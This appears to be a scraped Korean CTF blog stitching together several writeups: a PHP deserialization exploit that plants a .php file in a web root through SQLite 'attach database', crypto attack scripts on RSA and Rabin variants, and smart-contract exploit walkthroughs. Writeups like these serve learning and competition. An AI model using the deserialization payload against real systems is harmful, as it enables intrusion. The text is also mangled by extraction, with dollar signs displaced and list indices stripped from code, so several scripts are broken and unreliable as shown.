";         }     } }   class User {     public $profile; public$posts = array();       public function __construct($username) {$this->profile = new Profile($username); } // get user profile public function get_profile() { // some dev apparently mixed up user and profile... // so this check prevents any more errors if ($this->profile instanceof User) {             return "@i_use_vscode please fix your code";         } else {             // quite unnecessary to assign to a variable imho             $profile_string = " {$this->profile}
";             return $profile_string; } } public function get_posts() { // check if we've already fetched posts before to save some overhead // (our poor sqlite db is dying) if (sizeof($this->posts) !== 0) {             return "Please reload the page to fetch your posts from the database";         }           // get all user posts         $conn = new Conn;$conn->queries = array(new Query(             "select title, content from posts where user = :user",             array(":user" => $this->profile->username) )); // get posts from database$result = $conn(); if ($result !== false) {             while ($row =$result->fetchArray(1)) {                 $this->posts[] = new Post($row["title"], $row["content"]); } } // build the return string$out = "";         foreach ($this->posts as$post) {             $out .=$post;         }         return $out; } // who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual) public function __toString() {$profile = $this->profile; return$profile();     } }   class Profile {     public $username; public$picture_path = "images/real_programmers.png";       public function __construct($username) {$this->username = $username; } // hotfix for @i_use_vscode (see line 97) // when removed, please remove this as well public function __invoke() { if (gettype($this->picture_path) !== "string") {                     return "";         }           $picture = base64_encode(file_get_contents($this->picture_path));           // check if user exists         $conn = new Conn;$conn->queries = array(new Query(             "select id from users where username = :username",             array(":username" => $this->username) ));$result = $conn(); if ($result === false || $result->fetchArray() === false) { return ""; } else { return " {$this->username}                                           ";         }     }       // this is the correct implementation :facepalm:     public function __toString() {         if (gettype($this->picture_path) !== "string") { return ""; }$picture = base64_encode(file_get_contents($this->picture_path)); // check if user exists$conn = new Conn;         $conn->queries = array(new Query( "select id from users where username = :username", array(":username" =>$this->username)         ));         $result =$conn();         if ($result === false ||$result->fetchArray() === false) {             return "";         } else {             return "                                                                     {$this->username} "; } } } class Conn { public$queries;       // old legacy code - idk what it does but not touching it...     public function __invoke() {         $conn = new SQLite3("/sqlite3/db");$result = array();           // on second thought, whoever wrote this is a genius         // its gotta be @i_use_neovim         foreach ($this->queries as$query) {             if (gettype($query->query_string) !== "string") { return "Invalid query."; }$stmt = $conn->prepare($query->query_string);             foreach ($query->args as$param => $value) { if (gettype($value) === "string" || gettype($value) === "integer") {$stmt->bindValue($param,$value);                 } else {                     $stmt->bindValue($param, "");                 }             }             $result[] =$stmt->execute();         }           return $result; } } class Query { public$query_string = "";     public $args; public function __construct($query_string, $args) {$this->query_string = $query_string;$this->args = $args; } // for debugging purposes public function __toString() { return$this->query_string;     } }   $conn = new Conn;$conn->queries = array(new Query(     "attach database '/var/www/html/2ji1234312.php' as lol",     array() ),new Query(     "create table lol.pwn (dataz text)",     array() ),new Query(     "insert into lol.pwn (dataz) values ('1234')",     array() ));   // $conn->queries = array(new Query( // ".clone /var/www/html/ji1234312.php", // array() // ));$data = "Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiJxd2VycWEyIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6Mjc6ImltYWdlcy9yZWFsX3Byb2dyYW1tZXJzLnBuZyI7fXM6NToicG9zdHMiO2E6MDp7fX0="; $user = unserialize(base64_decode($data));   echo var_dump($user); //$user->profile->picture_path = "/sqlite3/db"; // $user->profile =$conn; $user->profile->username = unserialize(base64_decode($data)); // $user->profile = "phpinfo";$user->profile->username->profile="phpinfo"; $user->profile->username->profile=$conn; echo var_dump($user); echo base64_encode(serialize(($user))); Colored by Color Scripter cs

### Crypto - d_phi_enc

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Crypto.Util.number import bytes_to_long, getStrongPrime   from secret import flag   assert len(flag) == 255 e = 3 p = getStrongPrime(1024, e=e) q = getStrongPrime(1024, e=e) n = p * q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) enc_d = pow(d, e, n) enc_phi = pow(phi, e, n) enc_flag = pow(bytes_to_long(flag), e, n) print(f"{n = }") print(f"{enc_d = }") print(f"{enc_phi = }") print(f"{enc_flag = }")   Colored by Color Scripter cs

You are given $d^3 \pmod{n}$ and $\phi^3 \pmod{n}$, with RSA parameters where $e=3$.

Since $3d = 1 + \phi$ or $3d = 1 + 2 \phi$, we essentially have two polynomial equations on $d$. GCD works.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def GCD(f, g, n):     g = g % f     if g == 0:         return f     t = g.lc()     if gcd(t, n) != 1:         print(t)         exit()     tt = inverse_mod(Integer(t), n)     g = g * tt     return GCD(g, f, n)     # 3d = phi + 1 # 3d = 2phi + 1   PR = PolynomialRing(Zmod(n), 'x') x = PR.gen()   f = x * x * x - Zmod(n)(enc_d) g = (3 * x - 1) ** 3 - Zmod(n)(enc_phi)   h = (3 * x - 1) ** 3 - Zmod(n)(enc_phi) * 8     print(GCD(f, g, n)) print(GCD(f, h, n)) cs

### Crypto - kaitzensushi

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from math import gcd from Crypto.Util.number import bytes_to_long, isPrime   from secret import p, q, x1, y1, x2, y2, e, flag   # properties of secret variables assert isPrime(p) and p.bit_length() == 768 assert isPrime(q) and q.bit_length() == 768 assert isPrime(e) and e.bit_length() == 256 assert gcd((p - 1) * (q - 1), e) == 1 assert x1.bit_length() <= 768 and x2.bit_length() <= 768 assert y1.bit_length() <= 640 and y2.bit_length() <= 640 assert x1 ** 2 + e * y1 ** 2 == p * q assert x2 ** 2 + e * y2 ** 2 == p * q   # encrypt flag by RSA, with xor n = p * q c = pow(bytes_to_long(flag) ^^ x1 ^^ y1 ^^ x2 ^^ y2, e, n) print(f"{n = }") print(f"{c = }")   # hints 🍣 F = RealField(1337) x = vector(F, [x1, x2]) y = vector(F, [y1, y2]) # rotate theta = F.random_element(min=-pi, max=pi) R = matrix(F, [[cos(theta), -sin(theta)], [sin(theta), cos(theta)]]) x = R * x y = R * y print(f"{x = }") print(f"{y = }")   Colored by Color Scripter cs

There are a lot of stuff to process. First, as $R$ is a rotation matrix, you can compute $x_1^2 + x_2^2$ and $y_1^2 + y_2^2$. However, due to the precision, only the integer value of $y_1^2 + y_2^2$ can be computed exactly, and the value of $x_1^2 + x_2^2$ has a bit of an error range. However, as we have $$(x_1^2 + x_2^2) + e (y_1^2 + y_2^2) = 2n$$ we can do some basic bounding to recover $e$ and the actual value of $x_1^2 + x_2^2$ as well.

You can also compute the rough values of $x_1y_1 + x_2y_2$ as this is the inner product of the two values, which doesn't change under rotation. Similar for $x_1y_2 - x_2y_1$. However, there are some precision issues which lead to the exact computation of these two values difficult.

To overcome this, we use the equation $$(x_1y_1+x_2y_2)^2 + (x_1y_2 - x_2y_1)^2 = (x_1^2+ x_2^2)(y_1^2+y_2^2)$$ which we know the precise value of. With this equation, some standard lattice tricks with some more bounding can recover the exact value of $x_1y_1 + x_2y_2$ and $x_1 y_2 - x_2y_1$. Now one can recover the full values of $x_1, x_2, y_1, y_2$ algebraically - I just did some resultants stuff over $\mathbb{F}_p$ for some random large $p$, but other methods will work. Now it suffices to factor $n$.

Here, we note that $$(x_1/y_1)^2 + e \equiv (x_2/y_2)^2 + e \equiv 0 \pmod{n}$$ so one can hope that $x_1/y_1$ and $x_2/y_2$ differ in one of $\pmod{p}$ and $\pmod{q}$, so usual GCD tricks work. This happens to be the case.

### Crypto - broken oracle

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 #!/usr/local/bin/python3 """ implementation of https://www.cs.umd.edu/~gasarch/TOPICS/miscrypto/rabinwithrecip.pdf """ import os import random from dataclasses import dataclass from math import gcd from typing import List, Tuple   import gmpy2 from Crypto.Util.number import bytes_to_long, getPrime   from secret import flag     @dataclass class Pubkey:     n: int     c: int     @dataclass class Privkey:     p: int     q: int     @dataclass class Enc:     r: int     s: int     t: int       def __repr__(self) -> str:         return f"r = {self.r}\ns = {self.s}\nt = {self.t}"     def crt(r1: int, n1: int, r2: int, n2: int) -> int:     g, x, y = gmpy2.gcdext(n1, n2)     assert g == 1     return int((n1 * x * r2 + n2 * y * r1) % (n1 * n2))     def gen_prime(pbits: int) -> int:     p = getPrime(pbits)     while True:         if p % 4 == 3:             return p         p = getPrime(pbits)     def genkey(pbits: int) -> Tuple[Pubkey, Privkey]:     p, q = gen_prime(pbits), gen_prime(pbits)     n = p * q     c = random.randint(0, n - 1)     while True:         if gmpy2.jacobi(c, p) == -1 and gmpy2.jacobi(c, q) == -1:             break         c = random.randint(0, n - 1)     pubkey = Pubkey(n=n, c=c)     privkey = Privkey(p=p, q=q)     return pubkey, privkey     def encrypt(m: int, pub: Pubkey) -> Enc:     assert 0 < m < pub.n     assert gcd(m, pub.n) == 1     r = int((m + pub.c * pow(m, -1, pub.n)) % pub.n)     s = int(gmpy2.jacobi(m, pub.n))     t = int(pub.c * pow(m, -1, pub.n) % pub.n < m)     enc = Enc(r=r, s=s, t=t)     assert s in [1, -1]     assert t in [0, 1]     return enc     def solve_quad(r: int, c: int, p: int) -> Tuple[int, int]:     """     Solve x^2 - r * x + c = 0 mod p     See chapter 5.     """       def mod(poly: List[int]) -> None:         """         Calculate mod x^2 - r * x + c (inplace)         """         assert len(poly) == 3         if poly == 0:             return         poly += poly * r         poly %= p         poly -= poly * c         poly %= p         poly = 0       def prod(poly1: List[int], poly2: List[int]) -> List[int]:         """         Calculate poly1 * poly2 mod x^2 - r * x + c         """         assert len(poly1) == 3 and len(poly2) == 3         assert poly1 == 0 and poly2 == 0         res = [             poly1 * poly2 % p,             (poly1 * poly2 + poly1 * poly2) % p,             poly1 * poly2 % p,         ]         mod(res)         assert res == 0         return res       # calculate x^exp mod (x^2 - r * x + c) in GF(p)     exp = (p - 1) // 2     res_poly = [1, 0, 0]  # = 1     cur_poly = [0, 1, 0]  # = x     while True:         if exp % 2 == 1:             res_poly = prod(res_poly, cur_poly)         exp //= 2         if exp == 0:             break         cur_poly = prod(cur_poly, cur_poly)       # I think the last equation in chapter 5 should be x^{(p-1)/2}-1 mod (x^2 - Ex + c)     # (This change is not related to vulnerability as far as I know)     a1 = -(res_poly - 1) * pow(res_poly, -1, p) % p     a2 = (r - a1) % p     return a1, a2     def decrypt(enc: Enc, pub: Pubkey, priv: Privkey) -> int:     assert 0 <= enc.r < pub.n     assert enc.s in [1, -1]     assert enc.t in [0, 1]     mps = solve_quad(enc.r, pub.c, priv.p)     mqs = solve_quad(enc.r, pub.c, priv.q)     ms = []     for mp in mps:         for mq in mqs:             m = crt(mp, priv.p, mq, priv.q)             if gmpy2.jacobi(m, pub.n) == enc.s:                 ms.append(m)     assert len(ms) == 2     m1, m2 = ms     if m1 < m2:         m1, m2 = m2, m1     if enc.t == 1:         m = m1     elif enc.t == 0:         m = m2     else:         raise ValueError     return m     if __name__ == "__main__":     pbits = 1024     pub, priv = genkey(pbits)     while len(flag) < 255:         flag += os.urandom(1)     enc_flag = encrypt(bytes_to_long(flag), pub)     print("encrypted flag:")     print(enc_flag)     while True:         try:             r, s, t = map(int, input("r, s, t = ").split(","))             enc = Enc(r=r, s=s, t=t)             enc_dec_enc = encrypt(decrypt(enc, pub, priv), pub)             print("decrypt(encrypt(input)):")             print(enc_dec_enc)         except Exception:             print("Something wrong...")   Colored by Color Scripter cs

The clear issue here is that the decrypt function doesn't care if a solution to $x^2 - rx + c \equiv 0 \pmod{p}$ exists.

In this case, the result of $x + c / x$ would not be once again equal to $r$, which will makes things interesting.

To dive further into this, let's send enc-dec queries of $(r_0, \{-1, 1\}, \{0, 1\})$ and see the results - we are more focused on the $r$ values of the result. We would think that all the $r$ values would be $r_0$, but some experimentation shows that it isn't the case - there are sometimes a single unique $r$ value, two unique $r$ values, or four unique $r$ values. Here, we ignore the error cases (asserts) as they are not needed.

The interesting case is where there are two unique $r$ values. In this case, the intuition is that $\pmod{p}$ side of the things worked out, but $\pmod{q}$ side didn't. So while $x + c / x$ values agree each other in $\pmod{p}$, it didn't on $\pmod{q}$.

In other words, the difference of the two $r$ values would be a multiple of $p$, but not $q$, a perfect scenario for GCD ideas.

This allows us to get $n$. Try out various $r_0$ values, and if there are two unique $r$ values, collect the difference. For each pair of differences, take the GCD. If it is non-trivial, it would be a prime divisor of $n$. After enough collection we can recover both $p, q$.

Now we need to get $c$. Here, we note that even when the $x^2 - rx + c \equiv 0 \pmod{p}$ didn't work out, the two returned solutions add up to $r$. This can be used to set up a two-variable, two-equation system over $\pmod{p}$, where one variable is $a_1$ of the solve_quad and the other is $c$. This can be solved easily via various methods. Since we have $p, q, n, c$ and the encrypted flag, the rest is easy.

### Smart Contract - Dragon Slayer

Basically you need to get all the items and dunk on the dragon. There is a safeMint hook on the bank note, so that's a vector.

It turns out that split function, along with the safeMint hook, can be used as a flashloan. So just kill the dragon and return the loan.

### Smart Contract - Diamond Heist

Sushiswap delegation double spending bug + Flashloan + UUPSUpgrade to Attack Contract

#### 'CTF' 카테고리의 다른 글

ACSC 2023 Writeups  (0) 2023.02.26 2022.11.21 2022.11.09 2022.09.19 2022.09.19

BlackHat MEA에서 2등했습니다. 인당 40000 SAR ~ $10500 정도 가져가게 될 것 같습니다. #### 'CTF' 카테고리의 다른 글 ACSC 2023 Writeups (0) 2023.02.26 2023.02.22 2022.11.09 2022.09.19 2022.09.19 #### 'CTF' 카테고리의 다른 글 HackTM CTF Writeup (0) 2023.02.22 2022.11.21 2022.09.19 2022.09.19 2022.06.27 ### Problem Description We are given a 2000-bit RSA modulus$n$, with public exponent$e$. Here, we have$d_p, d_q < 2^{105}$where$d_p, d_q$are inverses of$e$modulo$p-1, q-1$. We are given$d_p \pmod{2^{55}}, d_q \pmod{2^{55}}$as a hint. We need to factor$n$. ### Solution In the paper "Twenty Years of Attacks on the RSA Cryptosystem", there's a note that there is a$\tilde{\mathcal{O}}(\sqrt{d_p})$attack against CRT-RSA. Since we don't know only 50 bits of$d_p$, it's worth thinking about whether the same attack works here. It turns out that it does! I explained the attack in my blog a few years ago (Korean), and I turned it into a challenge in picoCTF 2021. For completeness, I'll explain the full solution here. The idea is meet in the middle. We see that $$\prod_{j=0}^{2^{25} - 1} \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + (i \cdot 2^{25} + j) \cdot 2^{55})} - m \right)$$ will be a multiple of$p$. This is because when we hit the pair$(i, j)$such that $$hint_p + i \cdot 2^{80} + j \cdot 2^{55} = d_p$$ we'll multiply $$m^{ed_p} - m \equiv 0 \pmod{p}$$ into the product. To compute this, we write $$G(x) = \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + i \cdot 2^{80})} \cdot x - m \right)$$ Denoting $$z = m^{e \cdot 2^{55}} \pmod{n}$$ we see that it now suffices to compute $$G(z^0), G(z^1), \cdots G(z^{2^{25} - 1})$$ which is now a polynomial computation problem. To this, there are two methods. In the picoCTF, the challenge size was not too large - therefore, less optimal methods worked. At the time, the model solution was divide & conquer + FFT to compute$G$in$\mathcal{O}(\sqrt{d_p} \log^2 \sqrt{d_p})$time, and then using multipoint evaluation algorithm to evaluate it over the needed points. This method requires polynomial division, and overall has a quite large overhead. This is implemented in the github link above. Here, the size of the challenge is$2^{25}$with 2000 bit modulus, so we need to be faster. To do so, we compute$G$using the same method i.e. divider & conquer + FFT, but instead of using generic multipoint evaluation algorithms we note that the points we need to evaluate$G$is geometric. Therefore, we may utilize the awesome Chirp-Z transform to our advantage. This will enable us to compute all evaluations with a single logarithm factor. This is what we implemented. For more information on Chirp-Z transform, check cp-algorithms. However, there are quite a lot of obstacles due to large problem size - it took us over 24 hours to actually get the flag. • first, the FFT size in sagemath is apparently capped, so it can't multiply two polynomials of degree$2^{24}$• therefore, to multiply large polynomials, we have to split the polynomial and multiply in pieces ourselves • it turns out that this solution requires at least 128GB of RAM, and even this requires some memory optimizations • on a good computing environment, our solution takes about 4~5 hours. The computation of$G$took about 2 hours, and the remaining parts also took around 2 hours.  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 from sage.all import * import random as rand from tqdm import tqdm import time from Crypto.Util.number import inverse, getPrime p_size = 1000 d_size = 105 l_size = 55 enc = 35558284230663313298312684064040643811204702946900174110911295087662938676356112802781671547473910691476600838877279843972105403072929243674403244286458898562457747942651643439624568905004454158744508429126554955023110569348839934098381885098523538078300248638407684468503519326866276798222721018258242443186786917829878515320321445508466038372324063139762003962072922393974710763356236627711414307859950011736526834586028087922704589199885845050751932885698053938070734392371814246294798366452078193195538346218718588887085179856336533576097324041969786125752304133487678308830354729347735644474025828 pk = (44774502335951608354043148360684114092901940301155357314508676399067538307546121753785009844275454594381602690061553832466871574728524408152400619047820736137949166290404514747591817206669966103047443912935755873432503095952914080827536130899968275165557303493867755627520568588808534411526058896791373252974606364861105086430729757064078675811147972536205086402752245214343186536177015741922559575575911278873118556603923689408629477875537332177644886701517140711134017511229202430437068095342526435886609381176269251580339549071944830141516001532825295594908434587285225415103472279090325281062442217, 29624366183227462965645558392954094074485353876807451497147549927093025197118051280445930543762170853769573962200247669305286333212410439624262142109295839433584663989554419810341266820063074908743295553517790354149623873028162282751352613333181218478850463012413786673509078012976454604598813805735677104174112776060905225493357010861225261560490401501912259585922988353328944884443953564154752191932500561561256069872534626325000901099904014035414792860997025614313564862063784602254606240743545483125618939111639728114664995759380293512809125885893543730614962375399353971677980309835647540883700977) hint = (5013415024346389, 4333469053087705) (n, e) = pk (hint_p, hint_q) = hint SIZE = 1 << ((d_size - l_size) // 2) m = Zmod(n)(rand.randint(2, 1 << 128)) print("m", int(m)) RR = Zmod(n) chirp = m ** (e << l_size) Fix1 = m ** (e * hint_p) Fix2 = m ** (e << ((l_size + d_size) // 2)) sys.setrecursionlimit(10 ** 6) P = PolynomialRing(RR, 'x') x = P.gen() T = time.time() cnt = 0 DEG_BOUND = (1 << 24) def getMul(f1, f2): if f1.degree() < DEG_BOUND and f2.degree() < DEG_BOUND: return f1 * f2 arr = [RR(0)] * (f1.degree() + f2.degree() + 1) temp1 = f1.coefficients(sparse = False) temp2 = f2.coefficients(sparse = False) idx1 = 0 U1s = [] while idx1 <= f1.degree(): U1s.append(P(temp1[idx1: idx1 + DEG_BOUND])) idx1 += DEG_BOUND idx2 = 0 U2s = [] while idx2 <= f2.degree(): U2s.append(P(temp2[idx2: idx2 + DEG_BOUND])) idx2 += DEG_BOUND idx1, idx2 = 0, 0 while idx1 * DEG_BOUND <= f1.degree(): idx2 = 0 while idx2 * DEG_BOUND <= f2.degree(): temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False) for v in range(len(temp)): arr[(idx1 + idx2) * DEG_BOUND + v] += temp[v] idx2 += 1 idx1 += 1 return P(arr) def compute(L, R): global cnt if R - L == (1 << 16): print("HEY", cnt) cnt += 1 if L >= R: return 1 if L + 1 == R: return ((Fix2 ** L) * Fix1) * x - m f1 = compute(L, (L + R) // 2) f2 = compute((L + R) // 2, R) return getMul(f1, f2) G = compute(0, SIZE) print(time.time() - T) # now compute all print("computed G(x), now multipoint eval via chirp-z") coefG = G.coefficients(sparse = False) del G A1 = [RR(1), RR(1)] cur = RR(1) for i in tqdm(range(2, SIZE * 2)): cur = cur * chirpwa A1.append(A1[i-1] * cur) A0 = [] for i in tqdm(range(SIZE + 1)): A0.append(coefG[SIZE - i] / A1[SIZE - i]) del coefG idx1 = 0 U1s = [] while idx1 <= SIZE: U1s.append(P(A0[idx1: idx1 + DEG_BOUND])) idx1 += DEG_BOUND del A0 print("A0") idx2 = 0 U2s = [] while idx2 <= SIZE * 2 - 1: U2s.append(P(A1[idx2: idx2 + DEG_BOUND])) idx2 += DEG_BOUND print("A1") arr = [RR(0)] * (SIZE) idx1, idx2 = 0, 0 while idx1 * DEG_BOUND <= SIZE: idx2 = 0 while idx2 * DEG_BOUND <= SIZE * 2 - 1: temp = (U1s[idx1] * U2s[idx2]).coefficients(sparse = False) for v in range(len(temp)): if SIZE <= (idx1 + idx2) * DEG_BOUND + v < 2 * SIZE: arr[(idx1 + idx2) * DEG_BOUND + v - SIZE] += temp[v] del temp idx2 += 1 idx1 += 1 print("now let's calculate it!") for i in tqdm(range(0, SIZE)): val = arr[i] / A1[i] t = GCD(int(val), n) if t != 1 and t != n: print("Found!!!!", t) print(time.time() - T) Colored by Color Scripter cs #### 'CTF' 카테고리의 다른 글 BlackHat MEA Finals (0) 2022.11.21 2022.11.09 2022.09.19 2022.06.27 2022.02.28  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract TctfNFT is ERC721, Ownable { constructor() ERC721("TctfNFT", "TNFT") { _setApprovalForAll(address(this), msg.sender, true); } function mint(address to, uint256 tokenId) external onlyOwner { _mint(to, tokenId); } } contract TctfToken is ERC20 { bool airdropped; constructor() ERC20("TctfToken", "TTK") { _mint(address(this), 100000000000); _mint(msg.sender, 1337); } function airdrop() external { require(!airdropped, "Already airdropped"); airdropped = true; _mint(msg.sender, 5); } } struct Order { address nftAddress; uint256 tokenId; uint256 price; } struct Coupon { uint256 orderId; uint256 newprice; address issuer; address user; bytes reason; } struct Signature { uint8 v; bytes32 rs; } struct SignedCoupon { Coupon coupon; Signature signature; } contract TctfMarket { event SendFlag(); event NFTListed( address indexed seller, address indexed nftAddress, uint256 indexed tokenId, uint256 price ); event NFTCanceled( address indexed seller, address indexed nftAddress, uint256 indexed tokenId ); event NFTBought( address indexed buyer, address indexed nftAddress, uint256 indexed tokenId, uint256 price ); bool tested; TctfNFT public tctfNFT; TctfToken public tctfToken; CouponVerifierBeta public verifier; Order[] orders; constructor() { tctfToken = new TctfToken(); tctfToken.approve(address(this), type(uint256).max); tctfNFT = new TctfNFT(); tctfNFT.mint(address(tctfNFT), 1); tctfNFT.mint(address(this), 2); tctfNFT.mint(address(this), 3); verifier = new CouponVerifierBeta(); orders.push(Order(address(tctfNFT), 1, 1)); orders.push(Order(address(tctfNFT), 2, 1337)); orders.push(Order(address(tctfNFT), 3, 13333333337)); } function getOrder(uint256 orderId) public view returns (Order memory order) { require(orderId < orders.length, "Invalid orderId"); order = orders[orderId]; } function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) { require(price > 0, "Invalid price"); require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner"); orders.push(Order(nftAddress, tokenId, price)); emit NFTListed(msg.sender, nftAddress, tokenId, price); return orders.length - 1; } function cancelOrder(uint256 orderId) external { Order memory order = getOrder(orderId); require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner"); _deleteOrder(orderId); emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId); } function purchaseOrder(uint256 orderId) external { Order memory order = getOrder(orderId); _deleteOrder(orderId); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); tctfToken.transferFrom(msg.sender, owner, order.price); nft.safeTransferFrom(owner, msg.sender, order.tokenId); emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price); } function purchaseWithCoupon(SignedCoupon calldata scoupon) external { Coupon memory coupon = scoupon.coupon; require(coupon.user == msg.sender, "Invalid user"); require(coupon.newprice > 0, "Invalid price"); verifier.verifyCoupon(scoupon); Order memory order = getOrder(coupon.orderId); _deleteOrder(coupon.orderId); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); tctfToken.transferFrom(coupon.user, owner, coupon.newprice); nft.safeTransferFrom(owner, coupon.user, order.tokenId); emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice); } function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external { require(!tested, "Tested"); tested = true; IERC721 nft = IERC721(nftAddress); uint256 orderId = TctfMarket(this).createOrder(nftAddress, tokenId, price); nft.approve(address(this), tokenId); TctfMarket(this).purchaseOrder(orderId); } function win() external { require(tctfNFT.ownerOf(1) == msg.sender && tctfNFT.ownerOf(2) == msg.sender && tctfNFT.ownerOf(3) == msg.sender); emit SendFlag(); } function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) { IERC721 nft = IERC721(nftAddress); address owner = nft.ownerOf(tokenId); return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender); } function _deleteOrder(uint256 orderId) internal { orders[orderId] = orders[orders.length - 1]; orders.pop(); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { return this.onERC721Received.selector; } } contract CouponVerifierBeta { TctfMarket market; bool tested; constructor() { market = TctfMarket(msg.sender); } function verifyCoupon(SignedCoupon calldata scoupon) public { require(!tested, "Tested"); tested = true; Coupon memory coupon = scoupon.coupon; Signature memory sig = scoupon.signature; Order memory order = market.getOrder(coupon.orderId); bytes memory serialized = abi.encode( "I, the issuer", coupon.issuer, "offer a special discount for", coupon.user, "to buy", order, "at", coupon.newprice, "because", coupon.reason ); IERC721 nft = IERC721(order.nftAddress); address owner = nft.ownerOf(order.tokenId); require(coupon.issuer == owner, "Invalid issuer"); require(ecrecover(keccak256(serialized), sig.v, sig.rs, sig.rs) == coupon.issuer, "Invalid signature"); } } Colored by Color Scripter cs ### Problem Summary The goal here is to emit the event SendFlag(). To do so, we need to gain control of all three NFTs. In the contract file, there is an ERC721 called "TctfNFT" and ERC20 called "TctfToken". We also see that during the initialization the marketplace contract gets 1337 TctfTokens. In the market's constructor, three NFTs are minted, the first to the NFT contract and the other to the market contract. These three NFTs are put on sale on a price of 1, 1337, and some insanely large price. We'll have to get all these NFTs. Looking at the contract's methods, we see that • We may get an airdrop of 5 tokens but only once. • We can create a sell order of NFT under the condition that we have control (approval or owner) over it. • We can cancel a sell order of NFT under the condition that we have control over it. • We can purchase an order of NFT with enough tokens. • We can purchase an order of NFT with a coupon, but only once. The issuer of the coupon should be the NFT owner, and we have to supply the signature of the issuer for the coupon. For this problem, we pretty much have to know the private key of the issuer. • We can use purchaseTest() function only once. Here, the market creates one order and purchases it on its own. ### Approach The constraint gives us some hints on how to approach the problem. The first NFT is very cheap, so we can purchase without any trickery. The two functions purchaseTest() and purchaseWithCoupon() are very suspicious, and we can use these only once each. Therefore, each suspicious functions will have us stealing one NFT. Since purchaseWithCoupon() function gives us power to change a price of an order, we should use it to buy the third NFT. The second NFT costs 1337 tokens, and it just happens that the market contract holds 1337 tokens. Therefore, we should use purchaseTest function to steal those tokens. ### Part 1: The purchaseTest() There are multiple ways to solve this part of the problem. I'll show my solution and sqrtrev's solution. The dangerous thing about many of the market's methods is that it takes the order ID as input. If we simply used a mapping for these orders, it would probably not be a problem. However, we use a variable length array to handle our orders. To keep our array length the same as the number of valid orders, we use a nice algorithm which can be seen in _deleteOrder(). When an element of the array is deleted, the element at the back is put at the location of the deleted element. This is also a strategy used in OpenZeppelin's EnumerableSet contracts to keep index of the elements. Now we see the problem - the value at a specific index may change due to element addition and deletion. Now let's take a look at the purchaseTest() function again. It creates order, then purchases the order. If we look at the createOrder() function again, we see that the only external calls are done to simply check the approval or ownership, but those are done with staticcalls. Therefore, we can't use that to attack. We also see that we can't perform the attack in purchaseOrder(). Thankfully for us, there is an approve call to the NFT address. This can definitely be used to our advantage. Basically, we create a dumb NFT and send it to the TctfMarket. We call purchaseTest() with the NFT. Inside the approve() call, we will create another order, which sells a dumb NFT that we own at 1337 tokens. Then, we will remove the order that we just created. This will make the order at the order ID equal to the "sell dumb NFT at 1337 token" order. Now the market will happily purchase this new order, sending us 1337 tokens. This gives us enough funds to buy the second NFT anytime we want. sqrtrev's solution is much simple, it simply sends the NFT that is being sold at purchaseTest() to our EOA at the approve() call. Inside the purchaseOrder() function, we see that the funds are sent to the owner of the token, so it'll be sent to us. Looking back, I overcomplicated this part of the problem. Part of 